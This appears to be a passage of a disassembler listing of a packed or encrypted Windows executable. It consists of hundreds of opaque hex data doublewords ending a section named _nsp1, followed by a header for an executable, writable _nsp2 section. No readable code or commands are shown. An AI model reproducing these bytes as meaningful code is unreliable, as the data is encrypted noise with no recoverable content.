dd 98F5E839h, 3E5BCD13h, 3F53BC4Dh, 827C9AB1h, 7DC61EEFh
dd 7C4E534Eh, 0D28A5A7Dh, 6A32DAFEh, 0E65F4D58h, 1D3B526h
dd 0EE3E47F6h, 0A8FE6915h, 0B69A5D34h, 0DA569860h, 35CCFEE5h
dd 0A94B992Bh, 0CFE230AFh, 0F65AA288h, 130F734Eh, 0D236D06Ch
dd 9AC3769Bh, 535994E6h, 0B93F37D8h, 565745BAh, 0D729454Eh
dd 347B2758h, 81AC56E3h, 0D7ABA250h, 6D5A3993h, 0F1FC00F7h
dd 0D3194A8Ch, 59CF9A95h, 1C82B102h, 0B26431AAh, 0E9033962h
dd 875E1EBEh, 0C4E1008Fh, 8E813F2Ch, 74551B7Ah, 90B3DB0Ch
dd 5234EEB7h, 2F0795A0h, 606729CBh, 0AC60C99Fh, 565CDEDFh
dd 5012B4B4h, 2EB6705Bh, 0A253D24Dh, 0A8CE8A50h, 0CF665B73h
dd 60294B66h, 79247411h, 0EF79658Eh, 0A2ABF1D4h, 98C56F1h
dd 6B3B68DDh, 1FCFAE6Ch, 462E9080h, 668922Ch, 0D1257750h
dd 13055103h, 74BCAEC0h, 207E1EAAh, 84B54A90h, 0EFA6B837h
dd 379F543Bh, 70C50BA1h, 823BD347h, 6156F7CAh, 0D4AC0990h
dd 0F32B2B19h, 6C0EA9B9h, 0C2602858h, 0B813995Ch, 1F049F7h
dd 95F77879h, 0FD52BB86h, 0D72CE281h, 876439C4h, 0F90CC0E8h
dd 0B3DB3E84h, 0FDDF8FDCh, 23BEBB0Dh, 1AE5D498h, 0D1522D7Ch
dd 1EAC7B9Ch, 73C3F31Eh, 1C071625h, 211B8CADh, 834F7AD6h
dd 0E1B7E853h, 0E142C8E0h, 805FE052h, 0BFBF74FDh, 2A46076Fh
dd 0DC0240C0h, 0FF39694Ch, 70C3F2A3h, 2ADC1ACAh, 22089F8Dh
dd 2BB486D3h, 43AABDAFh, 0BD862A54h, 4FE9BE3Fh, 0D657C3B4h
dd 7621905Ah, 27BACD35h, 0A785DA3Ah, 87F49218h, 0B5D47532h
dd 0BCC124DDh, 3F6748FDh, 0E01BF02Ah, 37868965h, 50547CB3h
dd 0EC646C1Dh, 0FC693586h, 259D4534h, 0D612ACEFh, 16677F06h
dd 9532D903h, 0A1DCB640h, 1AB89833h, 8B549F2Dh, 0FEB009CBh
dd 6119AC7Bh, 0C33CA2E7h, 0F6E6AB64h, 8A93A8C6h, 932729h
dd 1750FF6Ch, 5BB18BC6h, 3DAA0E88h, 8909952Ch, 1EBB6C24h
dd 53FD33D2h, 7634EFC7h, 9BC30A96h, 83B8A7E3h, 37E57F4Bh
dd 9E0C07Bh, 6F3EAF8Eh, 1C6B50D0h, 137C8A84h, 0ECD5033Dh
dd 0FC2D7507h, 0BE14BDh, 59FF14D4h, 6101829Dh, 837118BFh
dd 0B67ECC6Dh, 0A0165226h, 0F173CF2Dh, 0A132DD68h, 617AE57Ah
dd 23A8CD5Bh, 412C6716h, 6A038FCAh, 6258D145h, 4551F45Eh
dd 5E8BD2F0h, 0E6BF3C8Ah, 0DCCC3819h, 0C63EB584h, 0B30D68Dh
dd 83A6BE65h, 359E411Dh, 701FD794h, 9C775307h, 801B052Eh
dd 0A0E2118Fh, 0F0B3A7C6h, 4B215FBDh, 8E42AB29h, 3A14D528h
dd 19D004B7h, 0D713F05h, 9456CE43h, 14F7D990h, 0B2FAC98Bh
dd 1B49779Eh, 0B7B716EAh, 88E6812Eh, 0B739433Dh, 0B4DA0352h
dd 87C45158h, 1C1721D2h, 0BAE902D2h, 1DAC0BF8h, 60803BD9h
dd 6C0A2755h, 0BC99237Bh, 0D7E7DB73h, 1BEED0BEh, 63319277h
dd 0EF7DE78Dh, 0E66BBA6Fh, 0F92509D2h, 0C47ECAB1h, 9473BCCCh
dd 1634B13Bh, 11729526h, 0A8C22DA8h, 0D6E55F10h, 0C218511Dh
dd 86FA844h, 0F6EE7A2Bh, 53E16603h, 2A850295h, 294C3E40h
dd 6C1E2B55h, 61FA3359h, 8F38451h, 9DAE8BBCh, 24FFBD8Dh
dd 8E6DEE2h, 40CCF1BAh
dd 42B188Ah, 0F8DC48CEh, 0D543A743h, 0E690E733h, 3A413199h
dd 1E2E22BDh, 8F1E27Ch, 0AB420B51h, 209E066Dh, 0BF6203A9h
dd 0B0D3542h, 0B2B067AFh, 4C5FB5A7h, 0CDF91522h, 0BA3AEF1Eh
dd 48586FB0h, 6A52D422h, 4E572F59h, 1618B1EAh, 423F9F6Ch
dd 0F4F21D41h, 22E7E2B9h, 0B147A031h, 36521456h, 570E5DBCh
dd 43D2DDC9h, 7649C114h, 83F0772Fh, 2E2D4652h, 13FF8B49h
dd 0CF4B75Dh, 0D795B81h, 8B0AE78Eh, 0D307B1Fh, 0EC60D6DDh
dd 0FE0797EEh, 0D6E6DD7Fh, 0DCF2BDD1h, 165579F5h, 6994E5CCh
dd 0F03042C8h, 9A5702A2h, 0DBC5DE44h, 0C5F39CE7h, 0FCA0C461h
dd 730DD059h, 0D204695Fh, 6C26387Eh, 65063334h, 20213FA3h
dd 79B33147h, 2C952543h, 0F5387343h, 0FBABA2E8h, 84F434BEh
dd 81FFF7DBh, 0E6C3C0h, 3EBD6FA7h, 76CC6E6Bh, 7D0E6E00h
dd 0D55691B5h, 0A12E29EEh, 83FF8DACh, 0FD895A6Bh, 79D8BE1Ah
dd 7695CDC7h, 6FF0CBCh, 0C3B3DAD2h, 0B94E2349h, 4AD1F718h
dd 0C3E6800Ah, 0A74F1ADCh, 0E39D2A7Dh, 5A3D937Bh, 0BFDB271Eh
dd 0BFEEE7FCh, 7DA33884h, 8632C2E7h, 0A39633C7h, 276AB6C4h
dd 4C18EFB6h, 6335D95Fh, 0CE1059B8h, 0D2AA1BA0h, 0D5FDA88Fh
dd 0E5E6D3F8h, 1172074Eh, 44A036ECh, 1F7557EEh, 518433CBh
dd 0BFB2A4DCh, 0BBEA0B96h, 0AACA64D9h, 0DF4168A9h, 0F7237C9Bh
dd 0EE4FA6A7h, 0B47B44D2h, 0D1B9548Ah, 9F466FEEh, 0FAA03EE2h
dd 3C27857Bh, 0B13A5ADCh, 0DF4A343Ah, 0CBB21827h, 0FC86D1D7h
dd 9D7CBEF5h, 97482277h, 22CC696Ch, 0E8F31DF3h, 25C059FAh
dd 80B8E9D0h, 0A3E9D75Eh, 0AD1F848Ch, 600B9DDFh, 0FD82DE5Fh
dd 25DE9684h, 0B9476FA7h, 6785AC6Eh, 876E44D4h, 6E97DA85h
dd 283F6CE6h, 0F6B8E38Ah, 219154D6h, 0D25B1B02h, 7F38C6CDh
dd 0B375066h, 2E0AEF40h, 52792063h, 0F1A5194Ch, 6F455E02h
dd 32757484h, 7A0D2CB0h, 0E8007F44h, 2FAC2ABh, 47D18D69h
dd 0E5713C47h, 8F07D4EFh, 94A81B75h, 8669B54Ah, 509AEF9Dh
dd 1592E7F4h, 0C92646D2h, 7AF3C6F4h, 0B972DD7Bh, 0C5538EA5h
dd 8B4A4A36h, 87B35486h, 78507985h, 0C3A34E80h, 6E470A5Eh
dd 0BC925725h, 0A3781499h, 55822188h, 25A3CBAAh, 0F976B286h
dd 3EE0A428h, 2BF7D26h, 46EF4B0Eh, 69205336h, 0D299FC18h
dd 7302871Ah, 0F1655E5Ch, 0FF5EA01Dh, 6EEEA092h, 83EF5910h
dd 90675DDh, 5671FB20h, 77F754F9h, 9508ECB2h, 90E01164h
dd 0E9177843h, 6FF3EF02h, 1AA4F6B9h, 37C66A5Dh, 7D434A42h
dd 3FCC2EDFh, 72B0F954h, 31D400Dh, 0ED9E2AA3h, 8F181494h
dd 0CC10F5D4h, 4EC71429h, 22A26404h, 6B634B67h, 3E8DE8DEh
dd 67DC8D4Fh, 2864FDF2h, 0FB1F82FFh, 1781EED4h, 7A892696h
dd 0EA5CA7D3h, 0AEB1FAC5h, 0A603C292h, 932D2F5Fh, 795D1E1Bh
dd 0C6C6C4A9h, 9A5A662Bh, 1195D925h, 19BF46F7h, 0F64ABA43h
dd 0BA78D781h, 2293F562h, 4C4FA190h, 0AB633D32h, 36BD104Ch
dd 1774F668h, 7E9C0012h, 0A5DD311Ch, 79CD9E2Bh, 768F08C7h
dd 8DB46CBCh, 43C2B4FAh, 4FBDC4D2h, 68B2D3A4h, 56BC0429h
dd 40488D5Dh, 6B36A98Eh, 4A52216Bh, 0A6ED7995h, 0A363633h
dd 425CC43Eh, 38EA02Fh, 1F9D62FDh, 0FE4EE36Ah, 0D8429FADh
dd 0FC2FC1C9h, 2D043280h, 6AAF1EFEh, 349A0AACh, 8952DD95h
dd 5D3E9B82h, 54DC8FC9h, 0BFF3E83h, 6E8A426Ah, 9471F4C6h
dd 5B15E1D0h, 0A3345A69h, 72BBB635h, 1E5DAA57h, 0E7E0F6ECh
dd 684B4996h, 49613252h, 957661D2h, 2DB56A4Eh, 0E44B4918h
dd 8C1C4B08h, 89E8E52Ch, 0C44BB51Bh, 7CCFB316h, 363525FBh
dd 69206BB8h, 32ED26B4h, 0A2167E71h, 0E33DF81Ah, 0F1FC7F29h
dd 33A3FE90h, 0D92FE9C4h, 5F7A6B29h, 0C067E0F5h, 2C819617h
dd 0B9FEF66h, 4ADEEE9Ah, 0EBAE982Ah, 746A16B9h, 4F0DE2FEh
dd 0C9DDD472h, 79F5B04Dh, 5653D85Fh, 0AD5D213Bh, 89DA5B40h
dd 6D5F4B1Eh, 0FEE492C9h, 3690A365h, 910030B3h, 0E6C3B35Ah
dd 57931D13h, 0DFFE9C90h, 2A7F9E9Bh, 1461EC81h, 8ADEE46Bh
dd 9B6E9351h, 0F886297Ah, 476B0F55h, 556BB99h, 0C52C01F0h
dd 2D54717Ah, 3AEDC516h, 7608EA26h, 0A4924F17h, 0FC7B3142h
dd 7AF70A50h, 0D108580Ch, 58BA0DAAh, 0BF47D7F9h, 0C58C71B5h
dd 0E65CEBB6h, 74C37E9Bh, 979D927Ah, 6C758AA4h, 0E88BBDF4h
dd 99E0DE8Dh, 8AEE8452h, 222ADA88h, 47EC43D9h, 0B4EAA715h
dd 1D2AB75Ah, 7A6F95EEh, 6D955F9Eh, 0D201978Fh, 0DA291975h
dd 0A52451Dh, 0A093B08Ah, 3C52629Fh, 25F3DE8Bh, 0D51C870Bh
dd 3E06418Eh, 15B3CEC6h, 9C722C52h, 284697EAh, 241E5E8Dh
dd 5738E584h, 0E00928BCh, 0E0E567C2h, 12D3F1F7h, 643674E5h
dd 3704220Fh, 4545A0CEh, 34D69617h, 0ADE5037Fh, 0DF915D9h
dd 7310067Bh, 0F8E76F3Dh, 0FAF8BFC8h, 654E64EBh, 65B796AAh
dd 0D299FEF5h, 3A30A608h, 0BF0E78B4h, 448F5A29h, 0CA91C572h
dd 36414E43h, 0FAE9C62h, 0E6E1F270h, 0EBC0AA6Ch, 0AAE4E2EAh
dd 1B4BB668h, 97CAA800h, 9F766130h, 588B4778h, 52C80ACDh
dd 0FC98736Bh, 3939CC82h, 7D128B0h, 0C7C9F1A5h, 8F4708DAh
dd 0A9D465F7h, 3A187BC1h, 464EFF72h, 0A677D0C5h, 40A03EDDh
dd 1F2FF8CAh, 0F8D3D013h, 77AB98B6h, 0D3641C09h, 0B62A0325h
dd 0FF3F26E9h, 13705F87h, 9CD50922h, 96AF9830h, 22CE282Bh
dd 8BE575CAh, 9D0650E0h, 515B8DDDh, 65C61079h, 30621DF6h
dd 14D90EACh, 850C18C4h, 82EDA4B6h, 4A9C9AD5h, 9406B2C0h
dd 22D3CB07h, 0F5002BBAh, 0CC06D03Ch, 16A8CC2Eh, 52DBB658h
dd 0B90976B4h, 0A0EAFE59h, 0DA09769h, 0E6FC529Fh, 6B464B41h
dd 3028DF96h, 0C8A4A2E5h, 696D65AFh, 9E9439ACh, 0A91D36B1h
dd 0F70CD809h, 6B8A85C9h, 0C8C49C95h, 889B6B82h, 96C419BFh
dd 0F26AA1E4h, 4D48DC95h, 0BDF95908h, 0B231E57Ch, 5B28B4F5h
dd 84F2695Fh, 4A56FC51h, 5F0A65F5h, 9329271Fh, 0D671A407h
dd 35F0A832h, 20EA3CECh, 781F3A43h, 7D3CF7B6h, 7BCDFD83h
dd 527060AFh, 0F95451DBh, 5693BF3h, 831623FFh, 0F38932ACh
dd 0F622CB75h, 8D2791E5h, 203C6E5Dh, 0F00230FBh, 28240839h
dd 585F1D2Ch, 96D93E81h, 90F94DAEh, 127C3345h, 8D33B319h
dd 4CDEB8F4h, 0DF94BD88h, 0FFC0B80Eh, 35148D9Dh, 6D1B4A0Ah
dd 360BB3Dh, 19734C90h, 0EE05A1A4h, 2E6370B8h, 0AE6EDE4Fh
dd 52E673A6h, 9DAD06CFh, 4C5B3262h, 0BB54F12Ch, 2FAA4E2Dh
dd 0D1ABD77Fh, 0AD5C2687h, 6B121510h, 0BE888EE5h, 0D5D5BD45h
dd 0ADD0D3DAh, 7D899B3Eh, 5460AA5Ah, 7A9AF2B1h, 0E1D9F75h
dd 7089D722h, 0BC81D7A8h, 8ECEFE53h, 708FE247h, 7DE48E51h
dd 1369B17Ah, 0B7F4271Ch, 141B29CAh, 4521D2CDh, 3DEBABF6h
dd 334FE942h, 3E80427h, 9E1415D9h, 5CB6ED45h, 5080ADCDh
dd 392C32BEh, 0E9BDA148h, 67D32A0Ah, 3B815ED0h, 0CBCA6B37h
dd 620B2EFCh, 0B865FD99h, 44EBFC8Ah, 0BA8B17B1h, 919026A1h
dd 36178F9Eh, 9E7CDDBFh, 1201696Ch, 0EC8AF1CCh, 0CF4B1F7Ah
dd 0DF3BE732h, 38178EFh, 1B3E257Bh, 3E8B711h, 51016474h
dd 7A01111Ch, 64A2F83Dh, 4B39EAD9h, 0A15A841Ch, 2B4FFCBFh
dd 518292C5h, 0E35AA330h, 76157B74h, 3E67EE9Dh, 0EF2BC015h
dd 0FC4F8CCh, 0D98D7C5Bh, 0B21572D6h, 0CAA24E71h, 0B35A60E4h
dd 0A2504668h, 6B8AAE12h, 0DCDB0C1Ch, 1002EF9Fh, 5D729542h
dd 0E9BB9227h, 3FFE27B4h
dd 50E9270Eh, 0AC7CB868h, 0E94AD8ECh, 57B89A9h, 856FB221h
dd 0E061EC3Ch, 0F52DB66Bh, 0F5BCD049h, 0B0ECB4B0h, 0F130B54Ah
dd 604C447Bh, 0A9264FA0h, 79B68910h, 91963345h, 5CF54792h
dd 1FCC9103h, 25EC052Fh, 0E36F8EBh, 80FCE9ECh, 11991C9Fh
dd 6DA2C1Bh, 0D1E932C2h, 9B21B3B4h, 0A734DE9Eh, 5D9FA90Bh
dd 0C86AFE70h, 0EDD2746Eh, 0BD81A453h, 7918A20Fh, 125E80B4h
dd 0AB03F865h, 6C1F9959h, 8300620Ch, 0EFFF0728h, 8A6FBCDBh
dd 5B3CB94h, 89744FD5h, 0E1A8223Dh, 35EE198Ah, 0A0E35ABFh
dd 73716855h, 2FA37E4h, 85D525D5h, 130B0546h, 31A8ABEAh
dd 0F30788D3h, 0D0E74865h, 2D79AE66h, 2A8B5F3h, 0F78A982Bh
dd 913EE93h, 0E4FC0D55h, 0AB0EBEB2h, 33A79A0Fh, 5BCF0D77h
dd 6AA9A7A6h, 28784FE2h, 0F365E4A8h, 2EC0E4CCh, 4C7916E3h
dd 457A6DBAh, 0D7192133h, 5DE3E60Ah, 5095EE2Fh, 0D38A9C8Eh
dd 3A575D5Dh, 0B9A4CF8Bh, 3D98FAD2h, 370A491Dh, 8DB4709Ah
dd 0BE981B9Eh, 0C4781B22h, 128BD3CFh, 0DC8FDBCCh, 880AFCACh
dd 0E06F3483h, 38A97C95h, 760C0C29h, 2E0859EDh, 0B64D9DB2h
dd 6CAF518Eh, 6C551808h, 0F99EA872h, 734DBC90h, 0FE313D9Fh
dd 42CBEF6Fh, 0F8D0204Bh, 3DEEEBFAh, 0FFF5AF64h, 8480A96Bh
dd 3E4663Ah, 10A3612Fh, 3717CC5Ah, 76B3B14Bh, 0D90819B1h
dd 883BA2A1h, 2A608C66h, 0F397F882h, 0F5C1B454h, 303AB7E1h
dd 5EBF1F0Dh, 0D072106Ah, 462D447Eh, 91C97896h, 34E52433h
dd 4BE370A7h, 64BF8B57h, 6F67F668h, 0BF7F1298h, 2BD3F68Eh
dd 62F59C0Dh, 45B236CDh, 2CF5EC1h, 3A5279CFh, 0ADBB5E1Ah
dd 64782A2Dh, 0EA7D04F0h, 643DD7F0h, 0E70F2D8Fh, 83A1B12Ah
dd 0F83B633Ch, 202F6B63h, 30A4AA9Ch, 54443984h, 8DD239CCh
dd 61409F34h, 0B70169FCh, 0F6EE7E20h, 0DA19E580h, 0CAFE4055h
dd 0B411B41Ah, 938707B5h, 347C53F3h, 26633F48h, 84945A4Ah
dd 7774E2A0h, 0BB7FC77Dh, 914F3F6Ch, 55F84716h, 0CEE60E12h
dd 126586EAh, 0A474BCh, 3E33A86Dh, 8163EB39h, 0C05051B3h
dd 49455158h, 0E37DA69Ah, 96FDF904h, 0B68FD5B5h, 1B296900h
dd 64CFC973h, 0B313D73Eh, 5EE6EC70h, 0A6995638h, 6A9238B4h
dd 2D3D1E92h, 839E4EFFh, 3FD5F662h, 0D9F3ED7h, 2F9E4FE6h
dd 42683ABDh, 52651813h, 3C81CFF2h, 426DA0BCh, 898A2FA2h
dd 0E3B70C44h, 3E3F81CCh, 8CFAC4C6h, 4966EE5h, 0ADA506EDh
dd 205CA9FFh, 0EB39E1Ch, 8E52682Ah, 0F19C7A95h, 274204BEh
dd 0B5A41F69h, 0AA849513h, 0D664A3A2h, 580C5B74h, 0F221C863h
dd 6E486AE5h, 4E01DEECh, 2F09AF0Ah, 0A5C3A55Eh, 0D64917AFh
dd 38B751C4h, 66F20CF6h, 0E7DB35C8h, 82F0BD74h, 38E99BC2h
dd 6C8D40AFh, 9BB0D51Bh, 31F467CDh, 0DA3C14B3h, 0D5EF6E2Fh
dd 0CFA02620h, 0BA9FAB28h, 0A1E77E80h, 6915402h, 8950DDF5h
dd 71239BCAh, 62B53E8Ah, 9E409B49h, 0BF5628F2h, 6D316F8Dh
dd 0DD9AD0DCh, 17DE7E23h, 0FBE7A6A9h, 2C144C67h, 7509F9BAh
dd 9591C636h, 3B19A42Eh, 81E70375h, 9924E834h, 6CB918Eh
dd 229A4C1Eh, 0FBEB49F5h, 0D4A168AAh, 376A102Ah, 0F21802Dh
dd 0EBE65209h, 0FAFB0A14h, 0D4C51367h, 0FF8712FBh, 0C9D73832h
dd 5358CF81h, 961C40D1h, 0FBC73C8Bh, 0EE4DF4E7h, 40C5A41Fh
dd 0A7DF230Fh, 3CAE3B4Fh, 2B026E7Bh, 31262DB3h, 3D8B032Dh
dd 0DF87586Bh, 0D80C8018h, 0A0A3E251h, 0D9955D2Ah, 42DE3414h
dd 0AA21BA99h, 0D6743939h, 8F2F327Dh, 7621D31Ah, 8BA39CF4h
dd 656A0668h, 0A529ED0Bh, 2B26478Ah, 0B2C1B9BCh, 4539C030h
dd 0ECC6C4B8h, 6404AA19h, 0FA98D3FCh, 7D7AF964h, 0B5C12EB7h
dd 3B0EBFFBh, 3B56A1D1h, 0C335D8A3h, 1E1D9606h, 0B780DC9Ah
dd 0D0572FE2h, 27CEE9ABh, 0E3D75748h, 444018B0h, 0F7646C28h
dd 0B1FB5EF2h, 33E3E17Bh, 704234A9h, 0D3C78E5Eh, 0DD6C3D49h
dd 315E8A1Ah, 0B70FFCD6h, 66345EBFh, 7D1FF351h, 2C678EEEh
dd 0EBBC0D84h, 0D4E03F48h, 972A31EBh, 19511930h, 6EC814Dh
dd 454B2326h, 32FC7204h, 7D145040h, 791665C6h, 872D990Bh
dd 0E353FF22h, 0E425209Ah, 1CE92584h, 0B82DC888h, 304C7133h
dd 0C5F02047h, 7126217Eh, 3F58DDC4h, 6D8DC573h, 0F6B3AFAFh
dd 7749B437h, 85B6C7F7h, 0F1D5DB5h, 7E831D86h, 0A81B844Eh
dd 4F82F96Ah, 87A2C2AFh, 0C47E1149h, 7FE3D009h, 8962F97Eh
dd 68753FA2h, 0FA7F9F34h, 8B75927Fh, 8066B8A4h, 0B43802BEh
dd 5DE4531Fh, 505501C4h, 8939B1AFh, 0A6D2E61Ah, 0B315DBD2h
dd 94DD94B4h, 285CE3DAh, 71178A19h, 0DC581E07h, 0BA08ECE4h
dd 109E6864h, 0D56666B1h, 934821B7h, 2B823FE3h, 0F4FF82Fh
dd 5D4A25A6h, 0FB61EC53h, 97911A5Ch, 0CE558695h, 0C98F14B8h
dd 4ECDD93Fh, 63D820BEh, 829DE143h, 0C243F904h, 713E2D17h
dd 0BBB6EC20h, 9271F560h, 5D0B5510h, 1464C6E9h, 3EC579FDh
dd 1037C9ADh, 814EE936h, 0E5682150h, 86F3416Ch, 0E9D528E0h
dd 0D82239A8h, 82622FFFh, 76E405F9h, 435863BFh, 22F48Ch
dd 4D8ED0CBh, 4DA7FC84h, 0AFFD61DEh, 347CCCB6h, 58406A32h
dd 922BE232h, 44D27890h, 5C5E17FEh, 55E8DC7Fh, 0A581F0FFh
dd 0D9730902h, 652D9BAEh, 4CAB2409h, 87B87FD2h, 6833F99Bh
dd 0E4FD9120h, 0E59DC538h, 0CFC34B6Ch, 6CF154E3h, 0F05315E1h
dd 0D4C2B0AFh, 75535D1Bh, 0C998B071h, 0F5AC7C13h, 610E5A4Ch
dd 8E12C9C5h, 0F82C33A0h, 49111B30h, 78536907h, 510F25F3h
dd 5E7B8D98h, 670A60C0h, 0FA6B9880h, 0C5322CB2h, 0CB80A76Ch
dd 0E126288Fh, 76563CD3h, 0C1118E79h, 0DE2BFF6Bh, 94F229ABh
dd 3041B70Bh, 1C97A09Ch, 0C1E2A39Fh, 99721F50h, 395892C1h
dd 9BED2C75h, 516A2FA4h, 686405E6h, 0DE4FD4F5h, 7342D569h
dd 8A95434Ah, 0A7687FF1h, 0AA442463h, 170F03A4h, 0ACF7334Bh
dd 0B7E56B9Ch, 836D0DA6h, 8F8280Eh, 6182FFAh, 8CF8852Fh
dd 2BF8F39Ah, 547EE9B4h, 0ED44846h, 0D7866FFCh, 0D04A371Ch
dd 88882C2Ah, 72E9ADCCh, 0B6B9CFCDh, 2ECD0A32h, 0F37C8D58h
dd 78016108h, 48FDE9F5h, 9D65FB33h, 6D747633h, 29E54EC4h
dd 44DAB830h, 0D38E61Ch, 0ACAC1930h, 0E1F326B6h, 0E94CB2B2h
dd 7AE3DD10h, 0D43FB2A8h, 0A9174205h, 4B01E54Dh, 357E9250h
dd 0CAA4909Ch, 15F76BF7h, 0AA741C0h, 5EA31F8Bh, 0B910F677h
dd 1D1D6E4Ch, 0C0C4AC0Ch, 0EF66D430h, 9239647Fh, 4D815B59h
dd 0ED146A35h, 3D73FA1Bh, 41E26809h, 0D9231D72h, 0F55A3FA4h
dd 36B9FE29h, 0E5E8E7DBh, 0B31252AEh, 2D41DA8Dh, 96E79C14h
dd 0CDF9E78h, 0CA51A86Ch, 0D8CB5DF4h, 6171BF6Ah, 0C817B91Fh
dd 6CD6F6CFh, 0CCB5D155h, 2B792FFh, 1C72F86Eh, 2ED04147h
dd 332A8A24h, 0A68535EFh, 2BF9E257h, 0A3787474h, 3063B990h
dd 87CB5981h, 2BFF444h, 0BCA5D801h, 0D321EC6Ah, 82ECF8D6h
dd 424B74Eh, 4C327117h, 3B3A59E0h, 0CFE05350h, 54C3F145h
dd 7973775h, 1F680383h, 83F5DF16h, 19977504h, 0A37C9A51h
dd 21917D2Ch, 51D18E03h, 0C2FB864Dh, 9CF25A6Bh, 650EA7ECh
dd 2992DE6Ah, 0CC6077C2h, 91BB971Ch, 19DBF673h, 0F1FBE4E4h
dd 0B9A7CB3Ch, 60FE34Eh, 681A8C0Dh, 0ADF1526Fh, 0A869E935h
dd 0CFC2E96Fh, 8E842FDFh, 0F2C6A9EFh, 0EB84D492h, 0EC2F787Ah
dd 0C8748E56h, 13B8EAC5h, 6900D295h, 7A2CC859h, 0B806BEB5h
dd 0B733EFD1h, 83E9D9B8h
dd 98EDB6FDh, 0EC884482h, 1D21EFE4h, 5CE75149h, 0C04D8FB9h
dd 0ACAEC907h, 9D34D826h, 0DFB527D1h, 0BCE74DF9h, 4820FE09h
dd 0BE21EA72h, 2B174790h, 9182BEFDh, 7E31C45Ah, 903DE780h
dd 0B6EE0DA7h, 66D22D3Bh, 2BE7A2BFh, 0C477029Ah, 10B3F955h
dd 1DA80F0Ah, 8BF42ED9h, 12BF7FAh, 93E55ABh, 0FBFDAB25h
dd 0DE5D8D37h, 78E776E7h, 0DB952D3Ch, 44C593FDh, 9DB096C5h
dd 256993E0h, 1B9ED048h, 1C1192F0h, 5ECC3EA5h, 5CC88734h
dd 0D4F350C1h, 25C70105h, 0E98F4FFAh, 7F38E055h, 0DC9368A9h
dd 83451D46h, 5FBF971Ah, 0AA3AEA3h, 2C9CD1FEh, 0EEAC61F4h
dd 85ACA13Ch, 1FDA3C31h, 34E2A39Ah, 0A40E158h, 0DE3EFAEBh
dd 0E9AB1480h, 14DA172Ah, 9A2140A6h, 0AC495373h, 26732B51h
dd 3583DBAh, 72EB5BBDh, 5BC0F90Fh, 123592Bh, 0B15ABA43h
dd 32280777h, 1D09F481h, 6AC1E6F7h, 8487353h, 6F833884h
dd 1288F2A4h, 5D60F509h, 0B9C589Fh, 65667CACh, 215C23FCh
dd 517BFD9Fh, 26CA0CA6h, 41A31E01h, 63EDEE34h, 73AB9EC8h
dd 9CECF49Dh, 0B5DAF95Dh, 3D306BA8h, 0F2365333h, 0F6F621A8h
dd 0D951454Ch, 0B8E50E05h, 0B256FA43h, 10B6E9E6h, 7313044Eh
dd 319A856Ch, 0D68CFE26h, 64C8B682h, 0DC13791Fh, 885DC69Eh
dd 0DFE9F360h, 33C27261h, 3395EBB7h, 0B3708250h, 7FD4CD8Eh
dd 5D2C5C38h, 0DDBBD5Bh, 0DCC15774h, 1A7C3C15h, 97F26BBAh
dd 81BD180h, 12A169A6h, 0F4410AA8h, 0FDF36B72h, 628D984Dh
dd 0E7E6E43Dh, 96298418h, 21008902h, 3ADEDB44h, 405CF4DCh
dd 23725349h, 89F3ECB8h, 54E60DF7h, 0CCF977A8h, 2D0C527Eh
dd 0F5E00B34h, 9E687362h, 77AC4C26h, 95E11A7Fh, 0E0245225h
dd 0BB2DFDDAh, 62A1B924h, 0A10D9890h, 0D864492Dh, 34F8C950h
dd 0ED17038Dh, 0D31B15Dh, 0B85354C7h, 4657D14Dh, 7E50CA1Fh
dd 83EEBF6Fh, 0A99E325Eh, 0B65E94CFh, 0F9A57DB3h, 483FDC40h
dd 0F5868B1Eh, 0F93237E7h, 3E5DEEB0h, 0C2A52F04h, 0F0EC5865h
dd 6B571E3Ah, 0CF67C458h, 0EBD0BC27h, 26CC27B7h, 0F21DB4E4h
dd 0CD092116h, 0BD315384h, 32416658h, 0F30A4D6Bh, 0EEFEEE93h
dd 78C85C4Ah, 0BD1E0466h, 9D8DA8D3h, 92A09E85h, 0F804BCC2h
dd 5CB34B8Ah, 86D698EBh, 0FACB086Eh, 8AC6A0CFh, 1D3A7A45h
dd 3A6F1A36h, 61318DA2h, 0DE5AEFB4h, 0A7D2AC9Ah, 80991440h
dd 0AF1C97A4h, 676341EDh, 44861AC7h, 0E660BE36h, 28862355h
dd 0F7C0C220h, 0E65DA68Dh, 0BF8D695Eh, 0A3E1E504h, 0D89D587Eh
dd 4DAD9045h, 3F004BF6h, 6822BB93h, 0E81BE7CEh, 15954FEh
dd 253105EBh, 0A2C38100h, 0B77FB5A0h, 2F6D42FEh, 29997B1Fh
dd 64EE139Eh, 2DEF0D57h, 0CA4B4E49h, 71F36935h, 0CC899C11h
dd 736847Fh, 0C545806Eh, 0EB8B3486h, 0EEF33FD7h, 8409A7C4h
dd 0A08A7F6h, 91B40CF8h, 2B4522AFh, 0D169E583h, 0D400E18Fh
dd 0FE6204Ch, 0E36843BEh, 0E9424B07h, 0B8650328h, 7225004Ch
dd 8C2D7BD0h, 8E2416A6h, 75DB8469h, 0D0D7632h, 42660EEAh
dd 21460DC3h, 51B54951h, 19F3D2E9h, 0E5161CA5h, 1A285944h
dd 0E1945FAEh, 20879C5Fh, 0A9B3B660h, 8D70840Ah, 0E491CC50h
dd 0AC7C8857h, 1FFE29C9h, 0CDF08398h, 0C409D6A1h, 3CA64D49h
dd 0CDFB0291h, 847E0C4Dh, 0DFAF1027h, 0CADA8879h, 0DD25CB9Ah
dd 5DE14A8Ch, 80DCC1E4h, 80E0730Fh, 8F2EA2ECh, 7BFC0800h
dd 63F551E0h, 8FD6F409h, 4BC35910h, 65F8B07Fh, 229F34F8h
dd 3A96AD4Ah, 0B5719F7Ah, 1C0490A3h, 31CF4BE9h, 627BAD14h
dd 6855CB01h, 0A6E8056Ch, 382F8190h, 0C0D3EF24h, 4CE30A6Bh
dd 202044C3h, 1228300Ah, 5ABFBBDh, 958FF95Fh, 635A9A46h
dd 784832CBh, 174FEDCDh, 1B33606Ah, 0B016088Fh, 3D5C11C2h
dd 2E15E84Eh, 496AFD2Dh, 0B985DFF0h, 0C39037Eh, 0D1BB0035h
dd 32BCECBBh, 920A9729h, 87A28D66h, 801BBF9Fh, 0C5B1EE58h
dd 0DF35420Dh, 73B30944h, 7EAE8B65h, 1CEE675Bh, 7E91F70Dh
dd 0C6C7C508h, 0E2E10B63h, 10555B77h, 0BC5AB47Dh, 31h
dd 247h dup(0)
_nsp1 ends
; Section 3. (virtual address 00088000)
; Virtual size : 00000A3B ( 2619.)
; Section size in file : 00000A3B ( 2619.)
; Offset to raw data for section: 00088000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
